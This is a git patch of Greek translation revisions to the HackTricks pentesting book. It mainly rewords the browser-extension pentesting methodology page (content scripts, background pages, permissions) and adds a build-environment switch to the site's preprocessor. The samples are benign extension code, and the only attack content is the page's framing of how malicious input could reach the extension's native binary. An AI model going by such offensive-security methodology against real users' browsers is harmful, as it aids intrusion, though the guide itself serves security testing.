From bdf683c88cdbdc348320c3c50307f13b08476d1a Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 04:00:41 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox --- book.toml | 1 + hacktricks-preprocessor.py | 20 +- src/1911-pentesting-fox.md | 4 +- .../README.md | 110 +++++----- .../browext-clickjacking.md | 10 +- ...rowext-permissions-and-host_permissions.md | 38 ++-- .../browext-xss-example.md | 4 +- src/pentesting-web/cache-deception/README.md | 24 +- .../cache-deception/cache-poisoning-to-dos.md | 4 +- .../cache-poisoning-via-url-discrepancies.md | 12 +- .../README.md | 66 +++--- .../README.md | 20 +- src/pentesting-web/deserialization/README.md | 98 ++++----- ...er-gadgets-expandedwrapper-and-json.net.md | 10 +- ...ialization-objectinputstream-readobject.md | 4 +- ...ploiting-__viewstate-knowing-the-secret.md | 2 +- .../exploiting-__viewstate-parameter.md | 32 ++- ...ava-dns-deserialization-and-gadgetprobe.md | 18 +- ...ava-transformers-to-rutime-exec-payload.md | 10 +- ...g-and-directory-interface-and-log4shell.md | 53 +++-- .../README.md | 34 +-- .../client-side-prototype-pollution.md | 16 +- .../express-prototype-pollution-gadgets.md | 6 +- .../prototype-pollution-to-rce.md | 22 +- .../php-deserialization-+-autoload-classes.md | 22 +- .../python-yaml-deserialization.md | 6 +- .../deserialization/ruby-class-pollution.md | 6 +- src/pentesting-web/file-inclusion/README.md | 64 +++--- ..._stream_prefer_studio-+-path-disclosure.md | 2 +- .../lfi2rce-via-eternal-waiting.md | 14 +- .../lfi2rce-via-nginx-temp-files.md | 2 +- .../file-inclusion/lfi2rce-via-php-filters.md | 10 +- .../file-inclusion/lfi2rce-via-phpinfo.md | 4 +- .../lfi2rce-via-temp-file-uploads.md | 4 +- .../file-inclusion/phar-deserialization.md | 6 +- src/pentesting-web/file-upload/README.md | 58 ++--- .../hacking-with-cookies/README.md | 32 +-- .../hacking-with-cookies/cookie-bomb.md | 2 +- .../hacking-with-cookies/cookie-tossing.md | 14 +- .../http-request-smuggling/README.md | 65 +++--- .../http-response-smuggling-desync.md | 12 +- src/pentesting-web/ldap-injection.md | 10 +- src/pentesting-web/login-bypass/README.md | 10 +- src/pentesting-web/nosql-injection.md | 6 +- .../oauth-to-account-takeover.md | 22 +- src/pentesting-web/open-redirect.md | 2 +- src/pentesting-web/orm-injection.md | 16 +- src/pentesting-web/parameter-pollution.md | 10 +- src/pentesting-web/phone-number-injections.md | 2 +- .../pocs-and-polygloths-cheatsheet/README.md | 16 +- .../postmessage-vulnerabilities/README.md | 24 +- ...blocking-main-page-to-steal-postmessage.md | 6 +- .../bypassing-sop-with-iframes-1.md | 4 +- .../bypassing-sop-with-iframes-2.md | 6 +- .../proxy-waf-protections-bypass.md | 20 +- src/pentesting-web/race-condition.md | 60 ++--- src/pentesting-web/rate-limit-bypass.md | 20 +- .../registration-vulnerabilities.md | 6 +- src/pentesting-web/reset-password.md | 42 ++-- src/pentesting-web/reverse-tab-nabbing.md | 2 +- src/pentesting-web/saml-attacks/README.md | 30 +-- .../saml-attacks/saml-basics.md | 12 +- ...inclusion-edge-side-inclusion-injection.md | 26 +-- src/pentesting-web/sql-injection/README.md | 44 ++-- .../sql-injection/ms-access-sql-injection.md | 14 +- .../sql-injection/mssql-injection.md | 10 +- .../sql-injection/mysql-injection/README.md | 10 +- .../mysql-injection/mysql-ssrf.md | 6 +- .../sql-injection/oracle-injection.md | 16 +- .../postgresql-injection/README.md | 12 +- ...and-ntlm-chanllenge-response-disclosure.md | 4 +- .../pl-pgsql-password-bruteforce.md | 6 +- .../rce-with-postgresql-extensions.md | 10 +- .../rce-with-postgresql-languages.md | 2 +- src/pentesting-web/sql-injection/sqlmap.md | 28 +-- .../sql-injection/sqlmap/README.md | 89 ++++---- .../sqlmap/second-order-injection-sqlmap.md | 2 +- .../README.md | 22 +- .../cloud-ssrf.md | 40 ++-- .../ssrf-vulnerable-platforms.md | 2 +- .../url-format-bypass.md | 4 +- .../README.md | 12 +- .../el-expression-language.md | 4 +- .../jinja2-ssti.md | 2 +- src/pentesting-web/timing-attacks.md | 8 +- .../unicode-injection/README.md | 2 +- .../unicode-normalization.md | 14 +- src/pentesting-web/uuid-insecurities.md | 6 +- src/pentesting-web/web-tool-wfuzz.md | 8 +- .../web-vulnerabilities-methodology.md | 14 +- .../web-vulnerabilities-methodology/README.md | 18 +- src/pentesting-web/websocket-attacks.md | 24 +- src/pentesting-web/xpath-injection.md | 10 +- src/pentesting-web/xs-search.md | 207 ++++++++++-------- src/pentesting-web/xs-search/README.md | 136 ++++++------ .../connection-pool-by-destination-example.md | 2 +- .../xs-search/connection-pool-example.md | 12 +- .../xs-search/css-injection/README.md | 40 ++-- .../event-loop-blocking-+-lazy-images.md | 2 +- ...ble-stylesheet-language-transformations.md | 12 +- .../xss-cross-site-scripting/README.md | 82 ++++--- .../abusing-service-workers.md | 18 +- .../chrome-cache-to-xss.md | 2 +- .../debugging-client-side-js.md | 4 +- .../dom-clobbering.md | 20 +- .../xss-cross-site-scripting/dom-invader.md | 10 +- .../xss-cross-site-scripting/dom-xss.md | 22 +- .../iframes-in-xss-and-csp.md | 14 +- .../integer-overflow.md | 2 +- .../xss-cross-site-scripting/js-hoisting.md | 2 +- .../other-js-tricks.md | 2 +- .../server-side-xss-dynamic-pdf.md | 6 +- .../some-same-origin-method-execution.md | 6 +- .../xss-in-markdown.md | 4 +- .../xssi-cross-site-script-inclusion.md | 12 +- .../xxe-xee-xml-external-entity.md | 38 ++-- .../escaping-from-gui-applications/README.md | 46 ++-- .../firmware-analysis/README.md | 46 ++-- .../firmware-analysis/bootloader-testing.md | 4 +- .../firmware-analysis/firmware-integrity.md | 2 +- src/physical-attacks/physical-attacks.md | 8 +- .../low-power-wide-area-network.md | 6 +- .../pentesting-ble-bluetooth-low-energy.md | 6 +- src/radio-hacking/pentesting-rfid.md | 38 ++-- .../aw2exec-__malloc_hook.md | 2 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 12 +- .../README.md | 4 +- .../aslr/README.md | 20 +- .../aslr/ret2plt.md | 8 +- .../pie/README.md | 4 +- .../pie/bypassing-canary-and-pie.md | 8 +- .../relro.md | 4 +- .../stack-canaries/README.md | 8 +- .../bf-forked-stack-canaries.md | 4 +- .../stack-canaries/print-stack-canary.md | 8 +- .../common-exploiting-problems.md | 2 +- .../linux-exploiting-basic-esp/elf-tricks.md | 18 +- .../format-strings/README.md | 18 +- .../linux-exploiting-basic-esp/one-gadget.md | 4 +- .../stack-overflow/README.md | 8 +- .../stack-overflow/pointer-redirecting.md | 8 +- .../stack-overflow/ret2csu.md | 10 +- .../stack-overflow/ret2dlresolve.md | 8 +- .../stack-overflow/ret2esp-ret2reg.md | 8 +- .../stack-overflow/ret2lib/README.md | 16 +- .../rop-leaking-libc-address/README.md | 10 +- .../stack-overflow/ret2ret.md | 6 +- .../stack-overflow/ret2win.md | 10 +- .../rop-return-oriented-programing.md | 20 +- .../stack-overflow/rop-syscall-execv.md | 12 +- .../srop-sigreturn-oriented-programming.md | 6 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 10 +- .../stack-overflow/stack-shellcode.md | 10 +- .../cryptographic-algorithms/README.md | 26 +-- .../unpacking-binaries.md | 6 +- .../reversing-tools-basic-methods/README.md | 66 +++--- .../angr/README.md | 2 +- .../angr/angr-examples.md | 6 +- .../blobrunner.md | 3 +- .../cheat-engine.md | 8 +- .../satisfiability-modulo-theories-smt-z3.md | 2 +- src/reversing/reversing-tools/README.md | 18 +- src/reversing/word-macros.md | 2 +- src/stego/esoteric-languages.md | 2 +- src/stego/stego-tricks.md | 18 +- src/todo/android-forensics.md | 4 +- src/todo/burp-suite.md | 2 +- src/todo/hardware-hacking/README.md | 2 +- src/todo/hardware-hacking/i2c.md | 2 +- src/todo/hardware-hacking/jtag.md | 2 +- src/todo/hardware-hacking/radio.md | 26 +-- .../hardware-hacking/side_channel_analysis.md | 8 +- src/todo/hardware-hacking/spi.md | 12 +- src/todo/hardware-hacking/uart.md | 24 +- .../modbus.md | 4 +- src/todo/interesting-http.md | 4 +- src/todo/investment-terms.md | 14 +- .../0.-basic-llm-concepts.md | 40 ++-- .../1.-tokenizing.md | 2 +- .../3.-token-embeddings.md | 28 +-- .../4.-attention-mechanisms.md | 34 +-- .../5.-llm-architecture.md | 40 ++-- .../7.0.-lora-improvements-in-fine-tuning.md | 10 +- ...7.2.-fine-tuning-to-follow-instructions.md | 24 +- .../llm-training-data-preparation/README.md | 18 +- src/todo/misc.md | 6 +- src/todo/more-tools.md | 4 +- src/todo/online-platforms-with-api.md | 2 +- src/todo/other-web-tricks.md | 8 +- src/todo/post-exploitation.md | 4 +- .../radio-hacking/fissure-the-rf-framework.md | 36 +-- src/todo/radio-hacking/flipper-zero/README.md | 6 +- .../flipper-zero/fz-125khz-rfid.md | 6 +- .../radio-hacking/flipper-zero/fz-ibutton.md | 2 +- .../radio-hacking/flipper-zero/fz-infrared.md | 2 +- src/todo/radio-hacking/flipper-zero/fz-nfc.md | 2 +- .../radio-hacking/flipper-zero/fz-sub-ghz.md | 6 +- src/todo/radio-hacking/ibutton.md | 2 +- src/todo/radio-hacking/infrared.md | 12 +- .../low-power-wide-area-network.md | 6 +- .../pentesting-ble-bluetooth-low-energy.md | 6 +- src/todo/radio-hacking/pentesting-rfid.md | 34 +-- src/todo/radio-hacking/proxmark-3.md | 8 +- src/todo/radio-hacking/sub-ghz-rf.md | 28 +-- src/todo/rust-basics.md | 6 +- src/todo/test-llms.md | 8 +- src/welcome/about-the-author.md | 2 +- src/welcome/hacktricks-values-and-faq.md | 40 ++-- .../active-directory-methodology/README.md | 142 ++++++------ .../abusing-ad-mssql.md | 10 +- .../acl-persistence-abuse/README.md | 44 ++-- .../ad-certificates.md | 12 +- .../ad-certificates/README.md | 6 +- .../ad-certificates/account-persistence.md | 8 +- .../ad-certificates/certificate-theft.md | 12 +- .../ad-certificates/domain-escalation.md | 74 +++---- .../ad-certificates/domain-persistence.md | 6 +- .../ad-information-in-printers.md | 6 +- .../asreproast.md | 2 +- .../bloodhound.md | 10 +- .../constrained-delegation.md | 10 +- .../custom-ssp.md | 2 +- .../active-directory-methodology/dcshadow.md | 12 +- .../active-directory-methodology/dcsync.md | 4 +- .../diamond-ticket.md | 8 +- ...external-forest-domain-one-way-outbound.md | 12 +- .../external-forest-domain-oneway-inbound.md | 6 +- .../golden-ticket.md | 4 +- .../kerberoast.md | 16 +- .../kerberos-double-hop-problem.md | 4 +- .../active-directory-methodology/laps.md | 14 +- .../password-spraying.md | 2 +- .../printers-spooler-service-abuse.md | 10 +- .../privileged-groups-and-token-privileges.md | 28 +-- .../resource-based-constrained-delegation.md | 23 +- .../security-descriptors.md | 6 +- .../sid-history-injection.md | 20 +- .../silver-ticket.md | 4 +- .../skeleton-key.md | 4 +- .../unconstrained-delegation.md | 10 +- .../authentication-credentials-uac-and-efs.md | 74 +++---- .../README.md | 14 +- .../uac-user-account-control.md | 32 ++- src/windows-hardening/av-bypass.md | 59 +++-- .../basic-cmd-for-pentesters.md | 4 +- .../basic-powershell-for-pentesters/README.md | 20 +- .../powerview.md | 8 +- .../checklist-windows-privilege-escalation.md | 16 +- src/windows-hardening/cobalt-strike.md | 16 +- .../lateral-movement/dcom-exec.md | 8 +- .../lateral-movement/psexec-and-winexec.md | 4 +- .../lateral-movement/smbexec.md | 6 +- .../lateral-movement/wmiexec.md | 12 +- src/windows-hardening/ntlm/README.md | 26 +-- .../ntlm/psexec-and-winexec.md | 8 +- src/windows-hardening/ntlm/smbexec.md | 2 +- src/windows-hardening/ntlm/wmiexec.md | 12 +- .../stealing-credentials/README.md | 18 +- .../credentials-mimikatz.md | 20 +- .../credentials-protections.md | 28 +-- .../stealing-credentials/wts-impersonator.md | 4 +- .../README.md | 142 ++++++------ .../access-tokens.md | 8 +- .../acls-dacls-sacls-aces.md | 54 ++--- ...ectory-permission-over-service-registry.md | 8 +- .../com-hijacking.md | 6 +- .../create-msi-with-wix.md | 2 +- .../dll-hijacking.md | 12 +- .../dll-hijacking/README.md | 64 +++--- ...ritable-sys-path-+dll-hijacking-privesc.md | 12 +- .../dpapi-extracting-passwords.md | 2 +- ...igh-integrity-to-system-with-name-pipes.md | 8 +- .../integrity-levels.md | 8 +- .../juicypotato.md | 2 +- .../leaked-handle-exploitation.md | 64 +++--- .../msi-wrapper.md | 2 +- .../privilege-escalation-abusing-tokens.md | 26 +-- .../README.md | 24 +- ...vilege-escalation-with-autorun-binaries.md | 26 ++- .../sedebug-+-seimpersonate-copy-token.md | 2 +- .../seimpersonate-from-high-to-system.md | 6 +- .../uac-user-account-control.md | 36 +-- theme/book.js | 55 +++++ theme/css/chrome.css | 52 ++++- theme/index.hbs | 78 ++++--- theme/sponsor.js | 2 - 286 files changed, 2617 insertions(+), 2514 deletions(-) diff --git a/book.toml b/book.toml index 55f8eeb4f..3d588387c 100644 --- a/book.toml +++ b/book.toml @@ -22,6 +22,7 @@ after = ["links"] [preprocessor.hacktricks] command = "python3 ./hacktricks-preprocessor.py" +env = "prod" [output.html] additional-css = ["theme/pagetoc.css", "theme/tabs.css"] diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 37f549101..fedfdef99 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -30,14 +30,16 @@ def ref(matchobj): href = matchobj.groups(0)[0].strip() title = href if href.startswith("http://") or href.startswith("https://"): - # pass - try: - raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) - match = re.search('(.*?)', raw_html) - title = match.group(1) if match else href - except Exception as e: - logger.debug(f'Error opening URL {href}: {e}') - pass #nDont stop on broken link + if context['config']['preprocessor']['hacktricks']['env'] == 'dev': + pass + else: + try: + raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) + match = re.search('(.*?)', raw_html) + title = match.group(1) if match else href + except Exception as e: + logger.debug(f'Error opening URL {href}: {e}') + pass #nDont stop on broken link else: try: if href.endswith("/"): @@ -90,7 +92,7 @@ if __name__ == '__main__': context, book = json.load(sys.stdin) logger.debug(f"Context: {context}") - + logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}") for chapter in iterate_chapters(book['sections']): logger.debug(f"Chapter: {chapter['path']}") diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md index fe8a7b548..58cea282f 100644 --- a/src/1911-pentesting-fox.md +++ b/src/1911-pentesting-fox.md @@ -12,7 +12,7 @@ dht udp "DHT Nodes" ![]() -![]() +![]() InfluxDB @@ -24,6 +24,6 @@ InfluxDB ![]() -![]() +![]() {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 4dacdd578..175692c6f 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -8,13 +8,13 @@ ## Κύρια Συστατικά -Οι διατάξεις των επεκτάσεων φαίνονται καλύτερα όταν απεικονίζονται και αποτελούνται από τρία συστατικά. Ας δούμε κάθε συστατικό σε βάθος. +Οι διάταξεις επεκτάσεων φαίνονται καλύτερα όταν απεικονίζονται και αποτελούνται από τρία συστατικά. Ας δούμε κάθε συστατικό σε βάθος.

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

### **Σενάρια Περιεχομένου** -Κάθε σενάριο περιεχομένου έχει άμεση πρόσβαση στο DOM μιας **μοναδικής ιστοσελίδας** και είναι επομένως εκτεθειμένο σε **πιθανώς κακόβουλη είσοδο**. Ωστόσο, το σενάριο περιεχομένου δεν περιέχει άδειες εκτός από την ικανότητα να στέλνει μηνύματα στον πυρήνα της επέκτασης. +Κάθε σενάριο περιεχομένου έχει άμεση πρόσβαση στο DOM μιας **μοναδικής ιστοσελίδας** και είναι επομένως εκτεθειμένο σε **πιθανώς κακόβουλη είσοδο**. Ωστόσο, το σενάριο περιεχομένου δεν περιέχει άδειες εκτός από την ικανότητα αποστολής μηνυμάτων στον πυρήνα της επέκτασης. ### **Πυρήνας Επέκτασης** @@ -22,14 +22,14 @@ ### **Εγγενής Δυαδικός Κωδικός** -Η επέκταση επιτρέπει έναν εγγενή δυαδικό κωδικό που μπορεί να **πρόσβαση στη μηχανή φιλοξενίας με πλήρεις άδειες του χρήστη.** Ο εγγενής δυαδικός κωδικός αλληλεπιδρά με τον πυρήνα της επέκτασης μέσω του τυπικού Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) που χρησιμοποιείται από το Flash και άλλα πρόσθετα περιηγητών. +Η επέκταση επιτρέπει έναν εγγενή δυαδικό κωδικό που μπορεί να **πρόσβαση στη μηχανή φιλοξενίας με πλήρεις άδειες του χρήστη.** Ο εγγενής δυαδικός κωδικός αλληλεπιδρά με τον πυρήνα της επέκτασης μέσω του τυπικού Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) που χρησιμοποιείται από το Flash και άλλες προσθήκες περιηγητή. ### Όρια > [!CAUTION] > Για να αποκτήσει πλήρεις άδειες του χρήστη, ένας επιτιθέμενος πρέπει να πείσει την επέκταση να περάσει κακόβουλη είσοδο από το σενάριο περιεχομένου στον πυρήνα της επέκτασης και από τον πυρήνα της επέκτασης στον εγγενή δυαδικό κωδικό. -Κάθε συστατικό της επέκτασης είναι χωρισμένο το ένα από το άλλο με **ισχυρά προστατευτικά όρια**. Κάθε συστατικό εκτελείται σε μια **ξεχωριστή διαδικασία λειτουργικού συστήματος**. Τα σενάρια περιεχομένου και οι πυρήνες επεκτάσεων εκτελούνται σε **διαδικασίες sandbox** που δεν είναι διαθέσιμες στους περισσότερους υπηρεσίες λειτουργικού συστήματος. +Κάθε συστατικό της επέκτασης είναι χωρισμένο από το άλλο με **ισχυρά προστατευτικά όρια**. Κάθε συστατικό εκτελείται σε μια **ξεχωριστή διαδικασία λειτουργικού συστήματος**. Τα σενάρια περιεχομένου και οι πυρήνες επεκτάσεων εκτελούνται σε **διαδικασίες sandbox** που δεν είναι διαθέσιμες στους περισσότερους υπηρεσίες λειτουργικού συστήματος. Επιπλέον, τα σενάρια περιεχομένου είναι χωρισμένα από τις σχετικές ιστοσελίδες τους **εκτελώντας σε μια ξεχωριστή στοίβα JavaScript**. Το σενάριο περιεχομένου και η ιστοσελίδα έχουν **πρόσβαση στο ίδιο υποκείμενο DOM**, αλλά οι δύο **ποτέ δεν ανταλλάσσουν δείκτες JavaScript**, αποτρέποντας τη διαρροή λειτουργικότητας JavaScript. @@ -76,9 +76,9 @@ } ], ``` -Για να συμπεριλάβετε ή να αποκλείσετε περισσότερες διευθύνσεις URL, είναι επίσης δυνατή η χρήση **`include_globs`** και **`exclude_globs`**. +Για να συμπεριλάβετε ή να αποκλείσετε περισσότερες διευθύνσεις URL, είναι επίσης δυνατή η χρήση των **`include_globs`** και **`exclude_globs`**. -Αυτό είναι ένα παράδειγμα περιεχομένου script που θα προσθέσει ένα κουμπί εξήγησης στη σελίδα όταν [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) για να ανακτήσει την τιμή `message` από την αποθήκευση της επέκτασης. +Αυτό είναι ένα παράδειγμα περιεχομένου script που θα προσθέσει ένα κουμπί εξήγησης στη σελίδα όταν χρησιμοποιείται [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) για να ανακτήσει την τιμή `message` από την αποθήκευση της επέκτασης. ```js chrome.storage.local.get("message", (result) => { let div = document.createElement("div") @@ -97,9 +97,9 @@ document.body.appendChild(div) > Ανάλογα με τον περιηγητή, οι δυνατότητες του περιεχομένου του script μπορεί να διαφέρουν ελαφρώς. Για τους περιηγητές που βασίζονται σε Chromium, η λίστα δυνατοτήτων είναι διαθέσιμη στην [τεκμηρίωση Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), και για τον Firefox, το [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) χρησιμεύει ως η κύρια πηγή.\ > Είναι επίσης αξιοσημείωτο ότι τα περιεχόμενα scripts έχουν τη δυνατότητα να επικοινωνούν με τα background scripts, επιτρέποντάς τους να εκτελούν ενέργειες και να μεταφέρουν απαντήσεις πίσω. -Για την προβολή και την αποσφαλμάτωση των περιεχομένων scripts στο Chrome, το μενού εργαλείων προγραμματιστών του Chrome μπορεί να προσπελαστεί από Επιλογές > Περισσότερα εργαλεία > Εργαλεία προγραμματιστών Ή πατώντας Ctrl + Shift + I. +Για την προβολή και την αποσφαλμάτωση των περιεχομένων scripts στο Chrome, το μενού εργαλείων προγραμματιστών Chrome μπορεί να προσπελαστεί από Επιλογές > Περισσότερα εργαλεία > Εργαλεία προγραμματιστών Ή πατώντας Ctrl + Shift + I. -Αφού εμφανιστούν τα εργαλεία προγραμματιστών, πρέπει να κάνετε κλικ στην **καρτέλα Πηγή**, ακολουθούμενη από την καρτέλα **Content Scripts**. Αυτό επιτρέπει την παρακολούθηση των εκτελούμενων περιεχομένων scripts από διάφορες επεκτάσεις και την ρύθμιση σημείων διακοπής για την παρακολούθηση της ροής εκτέλεσης. +Αφού εμφανιστούν τα εργαλεία προγραμματιστών, πρέπει να κάνετε κλικ στην **καρτέλα Πηγή**, ακολουθούμενη από την καρτέλα **Περιεχόμενα Scripts**. Αυτό επιτρέπει την παρακολούθηση των εκτελούμενων περιεχομένων scripts από διάφορες επεκτάσεις και την ρύθμιση σημείων διακοπής για την παρακολούθηση της ροής εκτέλεσης. ### Εισαγόμενα περιεχόμενα scripts @@ -176,7 +176,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" }) Οι δυνατές τιμές είναι: - **`document_idle`**: Όποτε είναι δυνατόν -- **`document_start`**: Μετά από οποιαδήποτε αρχεία από `css`, αλλά πριν από οποιαδήποτε άλλη DOM κατασκευαστεί ή οποιοδήποτε άλλο σενάριο εκτελεστεί. +- **`document_start`**: Μετά από οποιαδήποτε αρχεία από `css`, αλλά πριν από οποιαδήποτε άλλη DOM κατασκευαστεί ή οποιοδήποτε άλλο script εκτελεστεί. - **`document_end`**: Άμεσα μετά την ολοκλήρωση της DOM, αλλά πριν από την φόρτωση υποπόρων όπως εικόνες και πλαίσια. #### Μέσω `manifest.json` @@ -208,18 +208,18 @@ js: ["contentScript.js"], ``` ### `background` -Τα μηνύματα που αποστέλλονται από τα περιεχόμενα σενάρια λαμβάνονται από τη **σελίδα φόντου**, η οποία διαδραματίζει κεντρικό ρόλο στην συντονισμένη λειτουργία των στοιχείων της επέκτασης. Σημαντικά, η σελίδα φόντου παραμένει καθ' όλη τη διάρκεια ζωής της επέκτασης, λειτουργώντας διακριτικά χωρίς άμεση αλληλεπίδραση του χρήστη. Διαθέτει το δικό της Document Object Model (DOM), επιτρέποντας πολύπλοκες αλληλεπιδράσεις και διαχείριση καταστάσεων. +Τα μηνύματα που αποστέλλονται από τα περιεχόμενα σενάρια γίνονται δεκτά από τη **background page**, η οποία διαδραματίζει κεντρικό ρόλο στην συντονιστική λειτουργία των στοιχείων της επέκτασης. Σημαντικά, η background page παραμένει καθ' όλη τη διάρκεια ζωής της επέκτασης, λειτουργώντας διακριτικά χωρίς άμεση αλληλεπίδραση του χρήστη. Διαθέτει το δικό της Document Object Model (DOM), επιτρέποντας πολύπλοκες αλληλεπιδράσεις και διαχείριση καταστάσεων. -**Βασικά Σημεία**: +**Key Points**: -- **Ρόλος Σελίδας Φόντου:** Λειτουργεί ως το κέντρο ελέγχου της επέκτασης, εξασφαλίζοντας την επικοινωνία και τον συντονισμό μεταξύ των διαφόρων τμημάτων της επέκτασης. -- **Επιμονή:** Είναι μια πάντα παρούσα οντότητα, αόρατη στον χρήστη αλλά αναπόσπαστο μέρος της λειτουργικότητας της επέκτασης. -- **Αυτόματη Δημιουργία:** Εάν δεν οριστεί ρητά, ο περιηγητής θα δημιουργήσει αυτόματα μια σελίδα φόντου. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα σενάρια φόντου που καθορίζονται στο μανιφέστο της επέκτασης, εξασφαλίζοντας την απρόσκοπτη λειτουργία των εργασιών φόντου της επέκτασης. +- **Background Page Role:** Δρα ως το κέντρο ελέγχου της επέκτασης, εξασφαλίζοντας την επικοινωνία και τον συντονισμό μεταξύ των διαφόρων τμημάτων της επέκτασης. +- **Persistence:** Είναι μια πάντα παρούσα οντότητα, αόρατη στον χρήστη αλλά αναπόσπαστο μέρος της λειτουργικότητας της επέκτασης. +- **Automatic Generation:** Εάν δεν οριστεί ρητά, ο περιηγητής θα δημιουργήσει αυτόματα μια background page. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα background scripts που καθορίζονται στο manifest της επέκτασης, εξασφαλίζοντας την απρόσκοπτη λειτουργία των background tasks της επέκτασης. > [!TIP] -> Η ευκολία που παρέχει ο περιηγητής στην αυτόματη δημιουργία μιας σελίδας φόντου (όταν δεν δηλώνεται ρητά) εξασφαλίζει ότι όλα τα απαραίτητα σενάρια φόντου είναι ενσωματωμένα και λειτουργικά, απλοποιώντας τη διαδικασία ρύθμισης της επέκτασης. +> Η ευκολία που παρέχει ο περιηγητής στην αυτόματη δημιουργία μιας background page (όταν δεν δηλώνεται ρητά) εξασφαλίζει ότι όλα τα απαραίτητα background scripts είναι ενσωματωμένα και λειτουργικά, απλοποιώντας τη διαδικασία ρύθμισης της επέκτασης. -Παράδειγμα σεναρίου φόντου: +Example background script: ```js chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { if (request == "explain") { @@ -229,28 +229,28 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) ``` Χρησιμοποιεί το [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) για να ακούει μηνύματα. Όταν ληφθεί ένα μήνυμα `"explain"`, χρησιμοποιεί το [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) για να ανοίξει μια σελίδα σε μια νέα καρτέλα. -Για να αποσφαλματώσετε το background script, μπορείτε να μεταβείτε στις **λεπτομέρειες της επέκτασης και να επιθεωρήσετε τον service worker,** αυτό θα ανοίξει τα εργαλεία προγραμματιστή με το background script: +Για να αποσφαλματώσετε το σενάριο φόντου, μπορείτε να μεταβείτε στις **λεπτομέρειες της επέκτασης και να επιθεωρήσετε τον service worker,** αυτό θα ανοίξει τα εργαλεία προγραμματιστή με το σενάριο φόντου:
-### Σελίδες επιλογών και άλλες +### Σελίδες επιλογών και άλλα Οι επεκτάσεις προγράμματος περιήγησης μπορούν να περιέχουν διάφορους τύπους σελίδων: - **Σελίδες δράσης** εμφανίζονται σε ένα **αναδυόμενο μενού όταν κάνετε κλικ στο εικονίδιο της επέκτασης.** - Σελίδες που η επέκταση θα **φορτώσει σε μια νέα καρτέλα.** -- **Σελίδες επιλογών**: Αυτή η σελίδα εμφανίζεται πάνω από την επέκταση όταν κάνετε κλικ. Στο προηγούμενο manifest, στην περίπτωσή μου, μπόρεσα να αποκτήσω πρόσβαση σε αυτή τη σελίδα στο `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ή κάνοντας κλικ: +- **Σελίδες επιλογών**: Αυτή η σελίδα εμφανίζεται πάνω από την επέκταση όταν κάνετε κλικ. Στο προηγούμενο μανιφέστο, στην περίπτωσή μου, μπόρεσα να αποκτήσω πρόσβαση σε αυτή τη σελίδα στο `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ή κάνοντας κλικ:
-Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως οι σελίδες background, καθώς φορτώνουν δυναμικά περιεχόμενο κατά την ανάγκη. Παρά τούτο, μοιράζονται ορισμένες δυνατότητες με τη σελίδα background: +Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως οι σελίδες φόντου, καθώς φορτώνουν δυναμικά περιεχόμενο κατά την ανάγκη. Παρά τούτο, μοιράζονται ορισμένες δυνατότητες με τη σελίδα φόντου: -- **Επικοινωνία με Content Scripts:** Παρόμοια με τη σελίδα background, αυτές οι σελίδες μπορούν να λαμβάνουν μηνύματα από content scripts, διευκολύνοντας την αλληλεπίδραση εντός της επέκτασης. +- **Επικοινωνία με τα Content Scripts:** Παρόμοια με τη σελίδα φόντου, αυτές οι σελίδες μπορούν να λαμβάνουν μηνύματα από τα content scripts, διευκολύνοντας την αλληλεπίδραση εντός της επέκτασης. - **Πρόσβαση σε APIs συγκεκριμένα για την επέκταση:** Αυτές οι σελίδες απολαμβάνουν πλήρη πρόσβαση σε APIs συγκεκριμένα για την επέκταση, υπό την προϋπόθεση των αδειών που ορίζονται για την επέκταση. ### `permissions` & `host_permissions` -**`permissions`** και **`host_permissions`** είναι καταχωρήσεις από το `manifest.json` που θα υποδεικνύουν **ποιες άδειες** έχει η επέκταση του προγράμματος περιήγησης (αποθήκευση, τοποθεσία...) και σε **ποιες ιστοσελίδες**. +**`permissions`** και **`host_permissions`** είναι καταχωρήσεις από το `manifest.json` που θα υποδείξουν **ποιες άδειες** έχει η επέκταση του προγράμματος περιήγησης (αποθήκευση, τοποθεσία...) και σε **ποιες ιστοσελίδες**. Καθώς οι επεκτάσεις προγράμματος περιήγησης μπορεί να είναι τόσο **προνομιούχες**, μια κακόβουλη 